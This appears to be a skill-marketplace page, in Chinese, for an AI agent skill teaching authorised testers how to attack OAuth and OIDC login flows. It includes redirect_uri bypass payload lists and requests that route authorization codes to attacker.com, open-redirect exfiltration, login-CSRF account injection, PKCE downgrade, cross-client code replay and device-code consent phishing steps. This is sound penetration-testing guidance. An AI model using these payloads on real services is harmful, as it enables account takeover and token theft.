mcpField
A
attacking-oauth-oidc

attacking-oauth-oidc

github.com/trilwu安全17753 次安装12 周前更新
代码仓库

关于 attacking-oauth-oidc

这是面向授权安全测试人员的 OAuth 和 OIDC 流程审查技能,涵盖授权请求、回调与令牌验证中的常见缺陷。它以逐项测试检查点指导发现账户接管和令牌泄露风险。

主要功能

  1. 01检查 redirect_uri 与开放重定向
  2. 02测试 state、nonce 和 PKCE
  3. 03审查授权码重放与跨客户端替换
  4. 04检查隐式流与响应参数混淆
  5. 05验证令牌用途及 id_token 声明

适用场景

  1. 01测试联合登录回调的 CSRF 防护
  2. 02评估 SPA 或移动应用的 PKCE 实施
  3. 03审查授权范围提升与静默同意
  4. 04检查账户关联中的邮箱验证逻辑

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill attacking-oauth-oidc

安装后在 Claude Code 中输入/attacking-oauth-oidc确认已加载。

详细介绍

攻击 OAuth 和 OIDC

OAuth 是一种委托协议,其安全性完全取决于浏览器转发的参数——redirect_uri、state 和 scope。因此,大多数漏洞都源于授权服务器或客户端对其中某个参数过于信任。令牌是目标;流程才是攻击面。跟踪携带授权码的重定向,就能跟踪到凭据。

仅针对你获准测试的系统。

何时使用

  • 登录页面提供“使用 Google / Microsoft / GitHub / Apple 登录”或其他任何联合身份按钮
  • 你看到 /authorize、/oauth/token、/oauth2/authorize,或携带 code=、state= 或 #access_token= 的回调 URL
  • 请求中包含 response_type、redirect_uri、client_id、scope 或 nonce
  • OIDC 发现文档位于 /.well-known/openid-configuration
  • 应用在服务器端用授权码换取令牌,或接受 id_token 来建立会话
  • 一方 SPA 或移动应用运行授权码加 PKCE 流程

何时不使用

  • 伪造、破解或篡改已签发的令牌本身(算法混淆、kid 注入、HMAC 密钥过弱、none)——使用 attacking-jwt
  • 与身份验证流程无关的一般 Web 应用测试——使用 testing-web-applications
  • 已持有有效访问令牌后对资源 API 的测试——使用 testing-apis
  • 专门针对 Entra/Azure AD 租户授权、应用注册滥用和多租户应用的攻击——使用 attacking-entra-id
  • 针对真人用户的一面——大规模开展同意钓鱼或非法授权活动——使用 performing-social-engineering

枚举服务器:先看发现文档

OIDC 发现文档会提供完整的攻击地图——每个端点、支持的流程和密钥集。

curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
#   https://target/.well-known/oauth-authorization-server
#   https://login.target/<tenant>/v2.0/.well-known/openid-configuration
#   https://target/auth/realms/<realm>/.well-known/openid-configuration   (Keycloak)

重点查看以下字段:

  • authorization_endpoint、token_endpoint、userinfo_endpoint——流程
  • jwks_uri——用于验证 id_token 的密钥(可交由 attacking-jwt 处理)
  • response_types_supported——是否允许 token 或 id_token token(隐式流程)?code 是唯一选项吗,还是可以降级?
  • grant_types_supported——是否包含 implicit、password 或 urn:ietf:params:oauth:grant-type:device_code?
  • code_challenge_methods_supported——如果缺失,可能未强制执行 PKCE
  • scopes_supported、claims_supported——权限提升选项

也要拉取客户端代码包:SPA JavaScript 几乎总会内嵌 client_id、已配置的 redirect_uri 和作用域列表。

redirect_uri 验证:核心漏洞

一切都取决于授权服务器愿意将授权码发送到哪里。如果你能让它把授权码发送到你控制的主机,流程就被攻破了。逐一检查验证弱点——注册配置过于宽松,或使用前缀/子字符串匹配而非精确匹配,都是常见问题。

Registered: https://app.example.com/callback

Path traversal / appended path (prefix match, not exact)
  https://app.example.com/callback/../../attacker
  https://app.example.com/callback/anything          (allowed if it startswith-checks)
  https://app.example.com/callback.attacker.com/

Subdomain / domain-suffix weakness (regex or "endswith" match)
  https://attacker.app.example.com/callback
  https://app.example.com.attacker.com/callback
  https://appXexample.com/callback                    (unescaped . in regex)

Parser confusion — validator and browser disagree on the host
  https://attacker.com\@app.example.com/callback
  https://[email protected]/callback
  https://attacker.com%[email protected]/
  https://attacker.com#@app.example.com/
  https://attacker.com%23.app.example.com/

Scheme / userinfo / whitespace
  http://app.example.com/callback                     (downgrade to plaintext)
  https://app.example.com%00.attacker.com/callback
  ///attacker.com/callback   //attacker.com/callback

localhost is frequently allow-listed with no port check
  http://localhost:1337/callback   http://127.0.0.1/callback
  http://localhost.attacker.com/callback

将授权请求中的授权码指向你的主机:

GET /authorize?response_type=code
    &client_id=REAL_CLIENT_ID
    &redirect_uri=https://attacker.com/callback
    &scope=openid%20email%20profile
    &state=xyz HTTP/1.1
Host: login.target

如果授权码被发送到 attacker.com,你就可以用它换取令牌(或者受害者的浏览器会替你交付授权码)。还要测试每个读取 redirect_uri 的位置——授权请求、令牌交换,以及每个客户端存储的默认值——因为有些服务器在 /authorize 阶段严格验证,在 /token 阶段却宽松验证,反之亦然。

将开放重定向用作数据外泄通道

当 redirect_uri 必须位于真实域名上时,该域名上的开放重定向就成了数据外泄通道:服务器将授权码发送到允许列表中的主机,该主机再通过 302 重定向将授权码(位于查询字符串中)或整个片段转发给你。

redirect_uri=https://app.example.com/redirect?next=https://attacker.com/
# code lands on app.example.com, its open redirect forwards it (and often the
# ?code=... query, via Referer or an explicit passthrough) to attacker.com

检查允许来源中的任何 next=、returnUrl=、RelayState= 或 continue= 参数。这正是为什么即使“精确匹配的 redirect_uri”最终指向你自己的域名,也仍然不安全。

state:回调中的 CSRF

state 是 OAuth 的 CSRF 令牌。如果它缺失、固定不变、可预测,或返回时未经过验证,攻击者就能将自己的授权码拼接到受害者的会话中,实施登录 CSRF/账户注入攻击。

1. Attacker starts the flow, captures their own code but does NOT complete it.
2. Attacker delivers the callback to the victim:
   https://app.example.com/callback?code=ATTACKER_CODE   (no/ignored state)
3. Victim's browser completes it; victim's account is now linked to the
   attacker's identity provider account -> attacker logs in as the victim.

测试方法:完全移除 state,重放之前某次流程中的 state,并修改返回的 state 中的一个字符。如果回调仍然完成,就说明没有验证它。OIDC 中的 nonce 也要同样处理——它的作用是防止 id_token 被重放。

PKCE:缺失与降级

PKCE 会将授权码绑定到发起请求的客户端,从而阻止授权码被拦截。跳过 PKCE 的公共客户端(SPA、移动应用)会暴露在风险中:任何攻击者都可能从重定向、Referer 或拦截应用中窃取授权码。

# Authorize with a challenge:
GET /authorize?...&code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256

Checks:
- Omit code_challenge entirely -> does /token still return a token? (not enforced)
- Send code_challenge_method=plain with challenge == verifier (downgrade)
- Exchange the code with the WRONG code_verifier -> is it accepted? (not verified)
- Reuse the same verifier across two flows

如果在某个流程中获取的授权码无需匹配的验证器也能兑换,那么 PKCE 就只是装饰。

Implicit Flow:令牌泄漏

response_type=token / id_token token 会将令牌返回在 URL 的片段中,因此令牌会通过浏览器历史记录、子资源加载时的 Referer 标头,以及回调页面上的任何 JavaScript 泄漏。

GET /authorize?response_type=token&client_id=...&redirect_uri=https://app.example.com/cb
# -> 302 to https://app.example.com/cb#access_token=ya29...&token_type=Bearer

即使预期采用授权码流程,也强制使用 implicit 流(response_type=token),并结合 redirect_uri 或开放重定向漏洞——片段会随之传递,令牌也就被外泄。建议将降级到 implicit 流报告为高危:它会把片段中的内容变成地址栏里的持有者凭证。

授权码注入、重放与跨客户端替换

在正确的实现中,授权码只能使用一次,并且绑定到客户端。测试这三个属性。

  • 重放 — 在 /token 处将同一个 code 兑换两次。第二次尝试必须失败;如果第二次也能获取令牌,说明授权码未失效。
  • 注入 — 将你自己会话中获取的授权码注入受害者的回调(即上文提到的不带 state 攻击),或将受害者泄漏的授权码注入你自己的会话,以受害者身份登录。
  • 跨客户端替换 — 获取为 client_id=A 签发的授权码,并在 /token 处使用 client_id=B 兑换(两个应用位于同一个授权服务器上)。如果服务器未将授权码绑定到签发它的客户端,那么为低价值应用签发的授权码就能换取高价值应用的令牌。
POST /oauth/token HTTP/1.1
Host: login.target
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=VICTIM_OR_OTHER_CLIENT_CODE
&redirect_uri=https://app.example.com/callback
&client_id=DIFFERENT_CLIENT_ID&client_secret=...

权限范围升级与绕过授权

向授权请求中添加权限范围,查看服务器是否会在不重新提示用户授权的情况下授予这些范围——尤其是在重新授权时;许多服务器会对已授权的客户端跳过授权提示,并静默附加新的权限范围。

# Request more than the app normally asks for:
scope=openid email profile offline_access admin read:all

检查:offline_access(长期有效的刷新令牌)是否会被静默授予?如果注入客户端从未请求过的权限范围,它们是否会生效?返回令牌的实际权限范围是否超出用户授权的范围?降级攻击同样值得关注——先以较窄的权限范围进行授权,然后静默重新授权并扩大范围。

response_mode / response_type 混淆

混用响应参数可能会将令牌移至未覆盖验证的位置,或导致流程降级。

response_mode=form_post   -> token delivered in a POST body (bypasses fragment
                             handling and some referer protections)
response_mode=web_message -> token posted via postMessage; test the target-origin
                             check for a wildcard or missing origin validation
response_type=code%20token / code%20id_token  -> hybrid flow; a code AND a
                             front-channel token, doubling the leak surface

access_token 与 id_token 混淆

access_token 用于调用资源 API;id_token 用于向客户端证明用户身份。后端经常会混淆二者。

  • 接受 id_token 作为持有者令牌的资源服务器(因为二者都是 JWT),会信任客户端本不应向其提供的令牌。
  • 使用 access_token(不透明或验证宽松的字符串)而非经过正确验证的 id_token 来验证会话的客户端,可能会收到为其他受众签发的令牌。
  • 令牌端点会同时返回二者;尝试在每个令牌使用方处分别使用二者,并留意哪些令牌在不应被接受的地方被接受。

id_token 验证缺陷

客户端必须验证 id_token 签名是否与 jwks_uri 匹配,并且校验声明。缺少声明校验会导致账户被接管。

  • 未校验 iss——接受来自其他(由攻击者控制的)签发者的令牌。
  • 未校验 aud——在同一身份提供方(IdP,如 Google、Microsoft)上为其他客户端签发的令牌会在此处被重放。这是经典的多租户/社交 IdP 账户接管。
  • 多受众令牌中的 azp(授权方)被忽略。
  • 未强制校验 exp / nonce——旧令牌或被截获令牌可被重放。

签名相关攻击——alg:none、alg HS256/RS256 混淆、kid 注入,以及将 jku/x5u 指向攻击者密钥——见 attacking-jwt。从发现文档获取 jwks_uri,并交由该模块处理。

通过信任电子邮件实现“使用 X 登录”账户接管

收益最高的联合身份认证漏洞:客户端根据 email 声明关联或创建账户,并将其视为已验证的唯一标识。

  • 提供方返回了 email,但没有 email_verified,或客户端忽略了 email_verified——在 IdP 注册时使用受害者的电子邮件地址(未验证),客户端便会将你的身份关联到对方账户。
  • 客户端通过电子邮件匹配现有本地账户并进行联合身份认证——在宽松的提供方注册相同电子邮件地址,可实现预先劫持或账户接管。
  • 多个 IdP 登录按钮(“Google”和“GitHub”)都以电子邮件为匹配依据——通过你能控制未验证电子邮件地址的提供方登录,且该地址与受害者的地址相同。

在关联任何账户之前,务必检查实际返回的 userinfo / id_token 声明,以及是否存在并强制校验 email_verified。

设备代码流与同意钓鱼(非法授权)

设备授权授予(urn:ietf:params:oauth:grant-type:device_code)和普通同意页面是钓鱼攻击面:攻击者发起流程,获取 user_code / 验证 URL,并诱导受害者批准,从而在无需伪造登录页面的情况下将令牌交给攻击者。

POST /oauth/device/code   client_id=REAL_CLIENT_ID&scope=openid%20offline_access
# -> device_code, user_code, verification_uri
# Victim visits the REAL verification_uri, enters the code, approves ->
POST /oauth/token   grant_type=...device_code&device_code=...&client_id=...
# attacker polls and receives access + refresh tokens

受害者看到的是真实提供方的同意页面,这正是此攻击有效的原因。针对真实用户大规模实施此类攻击属于 performing-social-engineering 测试;针对 Entra 的特定非法同意授权(恶意多租户应用),请使用 attacking-entra-id。

应当驳斥的借口

  • “redirect_uri 已根据允许列表进行验证。” 是精确匹配还是前缀匹配?测试路径遍历、子域名后缀、@/%2F/# 解析器绕过技巧,以及允许列表主机上的开放重定向。
  • “我们使用授权码流,不使用隐式流——所以是安全的。” 授权码可能泄露、被重放,也可能跨客户端使用。另外,还要检查 response_type=token 是否仍然有效。
  • “state 是可选的;SDK 会处理 CSRF。” 移除它试试看。未验证 state 就能完成的回调可被用于注入账户。
  • “已配置 PKCE。” 配置了不代表会强制执行。省略质询、发送错误的验证器,并尝试降级为 plain。
  • “这是来自 Google 的 JWT,所以可信。” 对哪个 aud 可信?如果不检查受众,为其他客户端签发的令牌就可能导致账户接管。
  • “我们通过电子邮件匹配用户——电子邮件是唯一的。” 只有存在并强制校验 email_verified 时才成立。未验证的电子邮件地址可由攻击者自行指定。
  • “同意页面来自真实提供方,所以这是合法的。” 设备代码和非法授权钓鱼恰恰依赖这个真实页面。

ATT&CK 覆盖

根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据 当前 ATT&CK 版本重新核实。

凭据访问(TA0006)

  • T1528 窃取应用访问令牌——另请参阅 testing-apis、exploiting-cloud-platforms、attacking-entra-id
  • T1606 伪造 Web 凭据——另请参阅 attacking-jwt

这些内容的检测方法:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。

参考资料

  • attacking-jwt — 在获得 id_token / access_token 后伪造、破解并绕过验证(算法混淆、kid、jku、弱密钥)
  • testing-web-applications — 登录流程周边的应用
  • testing-apis — 持有令牌后测试资源服务器
  • attacking-entra-id — Entra/Azure 租户同意、应用注册和多租户非法授权滥用
  • reporting-security-findings — redirect_uri、state 和账户接管相关发现的严重程度
  • Burp Suite(使用 Repeater 发送 authorize/token 请求,使用浏览器代理捕获完整重定向链);面向 OAuth 的 Burp 扩展——EsPReSSO 和 JWT 编辑器,用于解码前端通道令牌;mitmproxy 用于捕获 Burp HTTP 历史记录中遗漏的片段和跨源 postMessage 流量

评论

支持 Markdown